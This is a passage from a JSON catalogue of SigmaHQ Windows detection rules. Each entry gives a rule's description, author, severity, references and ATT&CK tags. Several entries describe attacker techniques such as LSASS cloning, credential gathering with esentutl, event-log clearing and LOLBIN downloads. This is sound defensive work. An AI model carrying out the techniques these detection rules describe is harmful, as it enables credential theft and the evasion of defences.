"https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", - "https://twitter.com/0gtweet/status/1474899714290208777?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dtrace_kernel_dump.yml" - ], - "tags": "No established tags" - }, - "uuid": "7124aebe-4cd7-4ccb-8df0-6d6b93c96795", - "value": "Suspicious Kernel Dump Using Dtrace" - }, - { - "description": "Detects suspicious child processes of electron apps (teams, discord, slack...).\nThis could be a potential sign of \".asar\" file tampering (See reference section for more information)\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_electron_app_children.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml", - "https://github.com/mttaggart/quasar", - "https://taggart-tech.com/quasar-electron/" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "f26eb764-fd89-464b-85e2-dc4a8e6e77b8", - "value": "Suspicious Electron Application Child Processes" - }, - { - "description": "Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL", - "meta": { - "author": "FPT.EagleEye", - "creation_date": "2020/12/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_emotet_rundll32_execution.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html", - "https://cyber.wtf/2021/11/15/guess-whos-back/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emotet_rundll32_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "54e57ce3-0672-46eb-a402-2c0948d5e3e9", - "value": "Emotet RunDLL32 Process Creation" - }, - { - "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", - "meta": { - "author": "sam0x90", - "creation_date": "2021/08/06", - "falsepositive": [ - "To be determined" - ], - "filename": "proc_creation_win_susp_esentutl_params.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://attack.mitre.org/software/S0404/", - "https://twitter.com/vxunderground/status/1423336151860002816", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_esentutl_params.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1003.003" - ] - }, - "uuid": "7df1713a-1a5b-4a4b-a071-dc83b144a101", - "value": "Esentutl Gather Credentials" - }, - { - "description": "Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others).", - "meta": { - "author": "Ecco, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/09/26", - "falsepositive": [ - "Admin activity", - "Scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_eventlog_clear.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001", - "car.2016-04-002" - ] - }, - "uuid": "cc36992a-4671-4f21-a91d-6c2b72a2edf5", - "value": "Suspicious Eventlog Clear or Configuration Using Wevtutil" - }, - { - "description": "Detects a suspicious execution from an uncommon folder", - "meta": { - "author": "Florian Roth, Tim Shelton", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_execution_path.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", - "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "3dfd06d2-eaf4-4532-9555-68aca59f57c4", - "value": "Execution from Suspicious Folder" - }, - { - "description": "Detects a suspicious program execution in a web service root folder (filter out false positives)", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/01/16", - "falsepositive": [ - "Various applications", - "Tools that include ping or nslookup command invocations" - ], - "filename": "proc_creation_win_susp_execution_path_webserver.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path_webserver.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "35efb964-e6a5-47ad-bbcd-19661854018d", - "value": "Execution in Webserver Root Folder" - }, - { - "description": "Attackers can use explorer.exe for evading defense mechanisms", - "meta": { - "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", - "creation_date": "2020/10/05", - "falsepositive": [ - "Legitimate explorer.exe run from cmd.exe" - ], - "filename": "proc_creation_win_susp_explorer.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/CyberRaiju/status/1273597319322058752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "9eb271b9-24ae-4cd4-9465-19cfc1047f3e", - "value": "Proxy Execution Via Explorer.exe" - }, - { - "description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries,\nwhich is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"\n", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali, @gott_cyber", - "creation_date": "2019/06/29", - "falsepositive": [ - "Unknown how many legitimate software products use that method" - ], - "filename": "proc_creation_win_susp_explorer_break_proctree.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/nas_bench/status/1535322450858233858", - "https://twitter.com/CyberRaiju/status/1273597319322058752", - "https://twitter.com/bohops/status/1276357235954909188?s=12", - "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_break_proctree.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "949f1ffb-6e85-4f00-ae1e-c3c5b190d605", - "value": "Explorer Process Tree Break" - }, - { - "description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/23", - "falsepositive": [ - "Domain Controller User Logon", - "Unknown how many legitimate software products use that method" - ], - "filename": "proc_creation_win_susp_explorer_nouaccheck.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/ORCA6665/status/1496478087244095491", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_nouaccheck.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548.002" - ] - }, - "uuid": "534f2ef7-e8a2-4433-816d-c91bccde289b", - "value": "Explorer NOUACCHECK Flag" - }, - { - "description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", - "meta": { - "author": "Markus Neis, Sander Wiebing", - "creation_date": "2018/11/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_file_characteristics.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection", - "https://securelist.com/muddywater/88059/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.006" - ] - }, - "uuid": "9637e8a5-7131-4f7f-bdc7-2b05d8670c43", - "value": "Suspicious File Characteristics Due to Missing Fields" - }, - { - "description": "Detects when GfxDownloadWrapper.exe downloads file from non standard URL", - "meta": { - "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/GfxDownloadWrapper/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_download_via_gfxdownloadwrapper.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "eee00933-a761-4cd0-be70-c42fe91731e7", - "value": "GfxDownloadWrapper.exe Downloads File from Suspicious URL" - }, - { - "description": "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).", - "meta": { - "author": "frack113", - "creation_date": "2021/12/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_findstr_385201.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_385201.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1518.001" - ] - }, - "uuid": "37db85d1-b089-490a-a59a-c7b6f984f480", - "value": "Suspicious Findstr 385201 Execution" - }, - { - "description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack", - "meta": { - "author": "Trent Liffick", - "creation_date": "2020/05/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_findstr_lnk.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_lnk.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1202", - "attack.t1027.003" - ] - }, - "uuid": "33339be3-148b-4e16-af56-ad16ec6c7e7b", - "value": "Findstr Launching .lnk File" - }, - { - "description": "Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays", - "meta": { - "author": "Florian Roth, omkar72, oscd.community", - "creation_date": "2021/02/24", - "falsepositive": [ - "Admin activity (unclear what they do nowadays with finger.exe)" - ], - "filename": "proc_creation_win_susp_finger_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", - "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", - "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_finger_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "af491bca-e752-4b44-9c86-df5680533dbc", - "value": "Finger.exe Suspicious Invocation" - }, - { - "description": "Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_format.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/0gtweet/status/1477925112561209344", - "https://twitter.com/wdormann/status/1478011052130459653?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_format.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "9fb6b26e-7f9e-4517-a48b-8cac4a1b6c60", - "value": "Format.com FileSystem LOLBIN" - }, - { - "description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc).\nMight be used by ransomwares during the attack (seen by NotPetya and others).\n", - "meta": { - "author": "Ecco, E.M. Anhaus, oscd.community", - "creation_date": "2019/09/26", - "falsepositive": [ - "Admin activity", - "Scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_fsutil_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml", - "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ] - }, - "uuid": "add64136-62e5-48ea-807e-88638d02df1e", - "value": "Fsutil Suspicious Invocation" - }, - { - "description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information", - "meta": { - "author": "frack113", - "creation_date": "2022/05/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_gpresult.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", - "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gpresult.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult" - ], - "tags": [ - "attack.discovery", - "attack.t1615" - ] - }, - "uuid": "e56d3073-83ff-4021-90fe-c658e0709e72", - "value": "Gpresult Display Group Policy Information" - }, - { - "description": "Detects creation of a scheduled task with a GUID like name", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/31", - "falsepositive": [ - "Legitimate software naming their tasks as GUIDs" - ], - "filename": "proc_creation_win_susp_guid_task_name.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_guid_task_name.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "ff2fff64-4cd6-4a2b-ba7d-e28a30bbe66b", - "value": "Suspicious Scheduled Task Name As GUID" - }, - { - "description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/02/06", - "falsepositive": [ - "Execution of tools named GUP.exe and located in folders different than Notepad++\\updater" - ], - "filename": "proc_creation_win_susp_gup.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "0a4f6091-223b-41f6-8743-f322ec84930b", - "value": "Suspicious GUP Usage" - }, - { - "description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/10", - "falsepositive": [ - "Other parent processes other than notepad++ using GUP that are not currently identified" - ], - "filename": "proc_creation_win_susp_gup_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_download.yml", - "https://twitter.com/nas_bench/status/1535322182863179776" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "44143844-0631-49ab-97a0-96387d6b2d7c", - "value": "Download Files Using Notepad++ GUP Utility" - }, - { - "description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/10", - "falsepositive": [ - "Other parent binaries using GUP not currently identified" - ], - "filename": "proc_creation_win_susp_gup_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_execution.yml", - "https://twitter.com/nas_bench/status/1535322445439180803" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "d65aee4d-2292-4cea-b832-83accd6cfa43", - "value": "Execute Arbitrary Binaries Using GUP Utility" - }, - { - "description": "Use of hostname to get information", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_hostname.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hostname.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ] - }, - "uuid": "7be5fb68-f9ef-476d-8b51-0256ebece19e", - "value": "Suspicious Execution of Hostname" - }, - { - "description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors", - "meta": { - "author": "Florian Roth (rule), Microsoft (idea)", - "creation_date": "2022/08/04", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_iis_module_registration.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iis_module_registration.yml" - ], - "tags": "No established tags" - }, - "uuid": "043c4b8b-3a54-4780-9682-081cb6b8185c", - "value": "Suspicious IIS Module Registration" - }, - { - "description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)", - "meta": { - "author": "Max Altgelt", - "creation_date": "2021/12/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_image_missing.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://pentestlaboratories.com/2021/12/08/process-ghosting/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "71158e3f-df67-472b-930e-7d287acaa3e1", - "value": "Execution Of Non-Existing File" - }, - { - "description": "Uses the .NET InstallUtil.exe application in order to execute image without log", - "meta": { - "author": "frack113", - "creation_date": "2022/01/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_instalutil.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool", - "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_instalutil.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "d042284c-a296-4988-9be5-f424fadcc28c", - "value": "Suspicious Execution of InstallUtil Without Log" - }, - { - "description": "Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_invoke_webrequest_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_invoke_webrequest_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "5e3cc4d8-3e68-43db-8656-eaaeefdec9cc", - "value": "Suspicious Invoke-WebRequest Usage" - }, - { - "description": "Detects suspicious IIS native-code module installations via command line", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/12/11", - "falsepositive": [ - "Unknown as it may vary from organisation to organisation how admins use to install IIS modules" - ], - "filename": "proc_creation_win_susp_iss_module_install.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iss_module_install.yml", - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "9465ddf4-f9e4-4ebd-8d98-702df3a93239", - "value": "IIS Native-Code Module Command Line Installation" - }, - { - "description": "Detects the rare use of the command line tool shutdown to logoff a user", - "meta": { - "author": "frack113", - "creation_date": "2022/10/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_logoff.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_logoff.yml" - ], - "tags": [ - "attack.impact", - "attack.t1529" - ] - }, - "uuid": "ec290c06-9b6b-4338-8b6b-095c0f284f10", - "value": "Suspicious Execution of Shutdown to Log Out" - }, - { - "description": "Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.", - "meta": { - "author": "Aaron Herman", - "creation_date": "2022/10/01", - "falsepositive": [ - "Legitimate applications installed on other partitions such as \"D:\"" - ], - "filename": "proc_creation_win_susp_lolbin_non_c_drive.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml", - "https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "5b80cf53-3a46-4adc-960b-05ec19348d74", - "value": "Wscript Execution from Non C Drive" - }, - { - "description": "Detects a suspicious LSASS process process clone that could be a sign of process dumping activity", - "meta": { - "author": "Florian Roth, Samir Bousseaden", - "creation_date": "2021/11/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_lsass_clone.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", - "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", - "https://twitter.com/Hexacorn/status/1420053502554951689", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_clone.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1003.001" - ] - }, - "uuid": "c8da0dfd-4ed0-4b68-962d-13c9c884384e", - "value": "Suspicious LSASS Process Clone" - }, - { - "description": "Use of reg to get MachineGuid information", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_machineguid.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_machineguid.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ] - }, - "uuid": "f5240972-3938-4e56-8e4b-e33893176c1f", - "value": "Suspicious Query of MachineGUID" - }, - { - "description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.", - "meta": { - "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/21", - "falsepositive": [ - "File located in the AppData folder with trusted signature" - ], - "filename": "proc_creation_win_susp_microsoft_onenote_child_process.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_microsoft_onenote_child_process.yml", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18" - ], - "tags": [ - "attack.t1566", - "attack.t1566.001", - "attack.initial_access" - ] - }, - "uuid": "c27515df-97a9-4162-8a60-dc0eeb51b775", - "value": "Suspicious Microsoft OneNote Child Process" - }, - { - "description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.\nThis could be a sign of obfuscation of a fat finger problem (typo by the developer).\n", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_missing_spaces.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_missing_spaces.yml", - "https://ss64.com/nt/cmd.html", - "https://twitter.com/cyb3rops/status/1562072617552678912" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "a16980c2-0c56-4de0-9a79-17971979efdd", - "value": "Missing Space Characters in Command Lines" - }, - { - "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a supsicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_mofcomp_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp", - "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mofcomp_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "1dd05363-104e-4b4a-b963-196a534b03a1", - "value": "Suspicious Mofcomp Execution" - }, - { - "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", - "meta": { - "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2020/10/08", - "falsepositive": [ - "Administrators or Power users may remove their shares via cmd line" - ], - "filename": "proc_creation_win_susp_mounted_share_deletion.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mounted_share_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.005" - ] - }, - "uuid": "cb7c4a03-2871-43c0-9bbb-18bbdb079896", - "value": "Mounted Share Deleted" - }, - { - "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", - "meta": { - "author": "Florian Roth", - 